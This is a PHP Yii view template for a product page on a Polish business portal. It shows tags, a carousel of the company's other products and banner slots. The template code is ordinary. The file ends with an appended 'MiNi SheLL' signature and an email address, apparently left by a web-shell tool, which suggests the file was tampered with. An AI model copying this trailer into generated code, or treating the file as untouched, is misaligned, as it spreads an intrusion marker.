            <?php if(!empty($model->tags)): ?>
                <div class="p10px">
                    <div class="nav-table tags">
                        <div><?= Yii::t('frontend', 'Tagi') ?>:</div>    
                        <div>
                            <?php foreach($model->tags as $modelTag): ?>
                                <span class="label label-default"><?= Html::encode($modelTag->name) ?></span>
                            <?php endforeach; ?>
                        </div>
                    </div>         
                </div>
            <?php endif; ?>
            
            
            <?php $this->endCache(); } ?>
            
            <?php
                $modelsOthersProducts = Products::find()
                    ->select(['products.id_product', 'products.id_company', 'products.name', 'products.image_filename'])
                    ->join('INNER JOIN', 'companies_presentations_has_products', 'companies_presentations_has_products.id_product = products.id_product')
                    ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_has_products.id_presentation')    
                    ->where([
                        'products.status' => Status::ACTIVE,
                        'products.id_company' => $idCompany,
                        'companies_presentations.id_portal' => Yii::$app->params['modelPortal']->id_portal,
                        'companies_presentations.status' => Status::ACTIVE
                    ])
                    ->andWhere(['not', ['products.id_product' => $idProduct]])
                    ->limit(18)
                    ->all();
            ?>
            
            
            <?php if(!empty($modelsOthersProducts)): ?>
                <h2 class="header -portal-color portal-light-background">
                    <span class="portal-border"><?= Yii::t('frontend', 'Inne produkty firmy') ?></span>
                </h2>
            
                <div id="carousel" class="carousel carousel-thumbs slide" data-ride="carousel">
                    <div class="carousel-inner" role="listbox">
                        <div class="item active">
                            <?php foreach($modelsOthersProducts as $key => $modelOtherProduct): ?>
                            <a href="<?= Url::to(['produkty/szczegoly', 'id' => $modelOtherProduct->id_product, 'slug' => SlugGenerator::generate($modelOtherProduct->name)]) ?>">
                                    <figure class="col-xs-4 col-sm-2 text-center">
                                        <div class="link"><img loading="lazy" width="200" height="150" src="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelOtherProduct->getImageUrl(), '200x150', Image2::OPERATION_FRAME, Products::getAcceptedSizes()) ?>" alt="<?= Html::encode($modelOtherProduct->name).' - '.Yii::t('frontend', 'zdjęcie') ?>" class="img-responsive inline"></div>
                                        <figcaption><?= Html::encode(StringHelper::truncate($modelOtherProduct->name, 100),false) ?></figcaption>
                                    </figure>
                                </a>                         
                                <?php if(($key+1) % 6 === 0 && ($key+1) < count($modelsOthersProducts)): ?>
                                    </div>
                                    <div class="item">
                                <?php endif; ?>
                            <?php endforeach; ?>
                        </div>
                    </div>
                    <a class="left carousel-control" href="#carousel" role="button" data-slide="prev">
                        <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                    </a>
                    <a class="right carousel-control" href="#carousel" role="button" data-slide="next">
                        <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                    </a>
                </div> 
            <?php endif; ?>            
        </div>
    </div>
    
    <div class="text-center">
        <?php echo Yii::$app->bannersManager->renderBanner(\common\models\types\BannerLocation::BANNER_M1,'render-as-normal nofloat hidden-lg hidden-md');?>
        <?php echo Yii::$app->bannersManager->renderBanner(\common\models\types\BannerLocation::BANNER_M2,'render-as-normal nofloat hidden-lg hidden-md');?>
    </div>
    
</div>


Creat By MiNi SheLL
Email: jattceo@gmail.com